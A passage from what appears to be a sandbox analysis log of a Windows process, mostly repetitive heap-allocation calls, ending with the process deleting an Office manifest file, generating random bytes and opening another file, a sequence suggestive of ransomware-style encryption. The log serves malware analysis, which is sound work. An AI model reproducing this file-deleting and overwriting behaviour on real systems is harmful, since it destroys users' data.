dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6578 [0134.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.778] GetCurrentThreadId () returned 0x9b0 [0134.778] GetLastError () returned 0x0 [0134.779] GetLastError () returned 0x0 [0134.779] GetLastError () returned 0x0 [0134.779] GetLastError () returned 0x0 [0134.779] GetCurrentThreadId () returned 0x9b0 [0134.779] GetLastError () returned 0x0 [0134.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0134.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.779] GetLastError () returned 0x0 [0134.780] GetLastError () returned 0x0 [0134.780] GetCurrentThreadId () returned 0x9b0 [0134.780] GetLastError () returned 0x0 [0134.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.781] GetLastError () returned 0x0 [0134.781] GetLastError () returned 0x0 [0134.781] GetCurrentThreadId () returned 0x9b0 [0134.782] GetLastError () returned 0x0 [0134.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6578 | out: hHeap=0x2ad0000) returned 1 [0134.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.782] GetCurrentThreadId () returned 0x9b0 [0134.782] GetLastError () returned 0x0 [0134.783] GetLastError () returned 0x0 [0134.783] GetLastError () returned 0x0 [0134.783] GetLastError () returned 0x0 [0134.783] GetCurrentThreadId () returned 0x9b0 [0134.783] GetLastError () returned 0x0 [0134.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.784] GetLastError () returned 0x0 [0134.784] GetLastError () returned 0x0 [0134.785] GetCurrentThreadId () returned 0x9b0 [0134.785] GetLastError () returned 0x0 [0134.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.785] GetLastError () returned 0x0 [0134.785] GetLastError () returned 0x0 [0134.787] GetCurrentThreadId () returned 0x9b0 [0134.787] GetLastError () returned 0x0 [0134.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63f8 [0134.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.787] GetCurrentThreadId () returned 0x9b0 [0134.787] GetLastError () returned 0x0 [0134.788] GetLastError () returned 0x0 [0134.788] GetLastError () returned 0x0 [0134.788] GetLastError () returned 0x0 [0134.788] GetCurrentThreadId () returned 0x9b0 [0134.788] GetLastError () returned 0x0 [0134.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0134.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0134.788] GetLastError () returned 0x0 [0134.790] GetLastError () returned 0x0 [0134.790] GetCurrentThreadId () returned 0x9b0 [0134.790] GetLastError () returned 0x0 [0134.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.790] GetLastError () returned 0x0 [0134.791] GetLastError () returned 0x0 [0134.792] GetCurrentThreadId () returned 0x9b0 [0134.792] GetLastError () returned 0x0 [0134.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63f8 | out: hHeap=0x2ad0000) returned 1 [0134.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.792] GetCurrentThreadId () returned 0x9b0 [0134.792] GetLastError () returned 0x0 [0134.793] GetLastError () returned 0x0 [0134.793] GetLastError () returned 0x0 [0134.793] GetLastError () returned 0x0 [0134.793] GetCurrentThreadId () returned 0x9b0 [0134.793] GetLastError () returned 0x0 [0134.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0134.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.793] GetLastError () returned 0x0 [0134.794] GetLastError () returned 0x0 [0134.794] GetCurrentThreadId () returned 0x9b0 [0134.794] GetLastError () returned 0x0 [0134.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.795] GetLastError () returned 0x0 [0134.795] GetLastError () returned 0x0 [0134.795] GetCurrentThreadId () returned 0x9b0 [0134.795] GetLastError () returned 0x0 [0134.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d64b8 [0134.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.795] GetCurrentThreadId () returned 0x9b0 [0134.796] GetLastError () returned 0x0 [0134.796] GetLastError () returned 0x0 [0134.796] GetLastError () returned 0x0 [0134.796] GetLastError () returned 0x0 [0134.796] GetCurrentThreadId () returned 0x9b0 [0134.796] GetLastError () returned 0x0 [0134.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.796] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.797] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.797] GetLastError () returned 0x0 [0134.797] GetLastError () returned 0x0 [0134.798] GetCurrentThreadId () returned 0x9b0 [0134.798] GetLastError () returned 0x0 [0134.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.798] GetLastError () returned 0x0 [0134.798] GetLastError () returned 0x0 [0134.800] GetCurrentThreadId () returned 0x9b0 [0134.800] GetLastError () returned 0x0 [0134.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0134.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.800] GetCurrentThreadId () returned 0x9b0 [0134.800] GetLastError () returned 0x0 [0134.800] GetLastError () returned 0x0 [0134.801] GetLastError () returned 0x0 [0134.801] GetLastError () returned 0x0 [0134.801] GetCurrentThreadId () returned 0x9b0 [0134.801] GetLastError () returned 0x0 [0134.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0134.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0134.801] GetLastError () returned 0x0 [0134.802] GetLastError () returned 0x0 [0134.802] GetCurrentThreadId () returned 0x9b0 [0134.803] GetLastError () returned 0x0 [0134.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.803] GetLastError () returned 0x0 [0134.803] GetLastError () returned 0x0 [0134.803] GetCurrentThreadId () returned 0x9b0 [0134.803] GetLastError () returned 0x0 [0134.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6518 [0134.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.804] GetLastError () returned 0x0 [0134.804] GetLastError () returned 0x0 [0134.804] GetLastError () returned 0x0 [0134.804] GetLastError () returned 0x0 [0134.804] GetCurrentThreadId () returned 0x9b0 [0134.804] GetLastError () returned 0x0 [0134.804] GetCurrentThreadId () returned 0x9b0 [0134.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37a40f0 [0134.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0134.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.805] GetLastError () returned 0x0 [0134.806] GetLastError () returned 0x0 [0134.806] GetCurrentThreadId () returned 0x9b0 [0134.806] GetLastError () returned 0x0 [0134.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.807] GetLastError () returned 0x0 [0134.807] GetLastError () returned 0x0 [0134.808] GetCurrentThreadId () returned 0x9b0 [0134.808] GetLastError () returned 0x0 [0134.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6518 | out: hHeap=0x2ad0000) returned 1 [0134.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.808] GetLastError () returned 0x0 [0134.809] GetLastError () returned 0x0 [0134.809] GetLastError () returned 0x0 [0134.809] GetLastError () returned 0x0 [0134.809] GetLastError () returned 0x0 [0134.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.809] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.809] GetLastError () returned 0x0 [0134.810] GetLastError () returned 0x0 [0134.810] GetLastError () returned 0x0 [0134.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.811] GetLastError () returned 0x0 [0134.811] GetLastError () returned 0x0 [0134.811] GetLastError () returned 0x0 [0134.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6568 [0134.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.811] GetLastError () returned 0x0 [0134.812] GetLastError () returned 0x0 [0134.812] GetLastError () returned 0x0 [0134.812] GetLastError () returned 0x0 [0134.812] GetLastError () returned 0x0 [0134.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0134.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0134.812] GetLastError () returned 0x0 [0134.813] GetLastError () returned 0x0 [0134.813] GetLastError () returned 0x0 [0134.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.814] GetLastError () returned 0x0 [0134.814] GetLastError () returned 0x0 [0134.815] GetLastError () returned 0x0 [0134.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6568 | out: hHeap=0x2ad0000) returned 1 [0134.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.816] GetLastError () returned 0x0 [0134.816] GetLastError () returned 0x0 [0134.816] GetLastError () returned 0x0 [0134.816] GetLastError () returned 0x0 [0134.816] GetLastError () returned 0x0 [0134.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.817] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.817] GetLastError () returned 0x0 [0134.818] GetLastError () returned 0x0 [0134.818] GetLastError () returned 0x0 [0134.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.818] GetLastError () returned 0x0 [0134.818] GetLastError () returned 0x0 [0134.818] GetLastError () returned 0x0 [0134.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.819] GetLastError () returned 0x0 [0134.819] GetLastError () returned 0x0 [0134.819] GetLastError () returned 0x0 [0134.819] GetLastError () returned 0x0 [0134.820] GetLastError () returned 0x0 [0134.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0134.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0134.820] GetLastError () returned 0x0 [0134.821] GetLastError () returned 0x0 [0134.822] GetLastError () returned 0x0 [0134.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.822] GetLastError () returned 0x0 [0134.822] GetLastError () returned 0x0 [0134.823] GetLastError () returned 0x0 [0134.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63a8 | out: hHeap=0x2ad0000) returned 1 [0134.823] GetLastError () returned 0x0 [0134.824] GetLastError () returned 0x0 [0134.824] GetLastError () returned 0x0 [0134.824] GetLastError () returned 0x0 [0134.824] GetLastError () returned 0x0 [0134.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0134.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.824] GetLastError () returned 0x0 [0134.825] GetLastError () returned 0x0 [0134.825] GetLastError () returned 0x0 [0134.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.826] GetLastError () returned 0x0 [0134.826] GetLastError () returned 0x0 [0134.826] GetLastError () returned 0x0 [0134.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d63f8 [0134.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.826] GetLastError () returned 0x0 [0134.826] GetLastError () returned 0x0 [0134.827] GetLastError () returned 0x0 [0134.827] GetLastError () returned 0x0 [0134.827] GetLastError () returned 0x0 [0134.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.827] GetLastError () returned 0x0 [0134.828] GetLastError () returned 0x0 [0134.828] GetLastError () returned 0x0 [0134.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.828] GetLastError () returned 0x0 [0134.831] GetLastError () returned 0x0 [0134.832] GetLastError () returned 0x0 [0134.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d63f8 | out: hHeap=0x2ad0000) returned 1 [0134.833] GetLastError () returned 0x0 [0134.834] GetLastError () returned 0x0 [0134.834] GetLastError () returned 0x0 [0134.834] GetLastError () returned 0x0 [0134.834] GetLastError () returned 0x0 [0134.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.834] GetLastError () returned 0x0 [0134.835] GetLastError () returned 0x0 [0134.835] GetLastError () returned 0x0 [0134.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.836] GetLastError () returned 0x0 [0134.844] GetLastError () returned 0x0 [0134.844] GetLastError () returned 0x0 [0134.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6428 [0134.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.844] GetLastError () returned 0x0 [0134.844] GetLastError () returned 0x0 [0134.845] GetLastError () returned 0x0 [0134.845] GetLastError () returned 0x0 [0134.845] GetLastError () returned 0x0 [0134.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.845] GetLastError () returned 0x0 [0134.849] GetLastError () returned 0x0 [0134.849] GetLastError () returned 0x0 [0134.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.850] GetLastError () returned 0x0 [0134.850] GetLastError () returned 0x0 [0134.851] GetLastError () returned 0x0 [0134.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6428 | out: hHeap=0x2ad0000) returned 1 [0134.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.851] GetLastError () returned 0x0 [0134.851] GetLastError () returned 0x0 [0134.851] GetLastError () returned 0x0 [0134.852] GetLastError () returned 0x0 [0134.852] GetLastError () returned 0x0 [0134.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0134.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0134.852] GetLastError () returned 0x0 [0134.853] GetLastError () returned 0x0 [0134.853] GetLastError () returned 0x0 [0134.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.853] GetLastError () returned 0x0 [0134.853] GetLastError () returned 0x0 [0134.854] GetLastError () returned 0x0 [0134.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6568 [0134.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.854] GetLastError () returned 0x0 [0134.854] GetLastError () returned 0x0 [0134.854] GetLastError () returned 0x0 [0134.855] GetLastError () returned 0x0 [0134.855] GetLastError () returned 0x0 [0134.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.889] CloseHandle (hObject=0x3ac) returned 1 [0134.890] CloseHandle (hObject=0x39c) returned 1 [0134.890] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 1 [0134.891] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml", lpFilePart=0x9bada4*="AppXManifestLoc.en-us.xml") returned 0x4c [0134.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.892] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667)) returned 1 [0134.892] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b0fc | out: pbBuffer=0x366b0fc) returned 1 [0134.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0134.892] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0134.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0134.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0134.893] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), 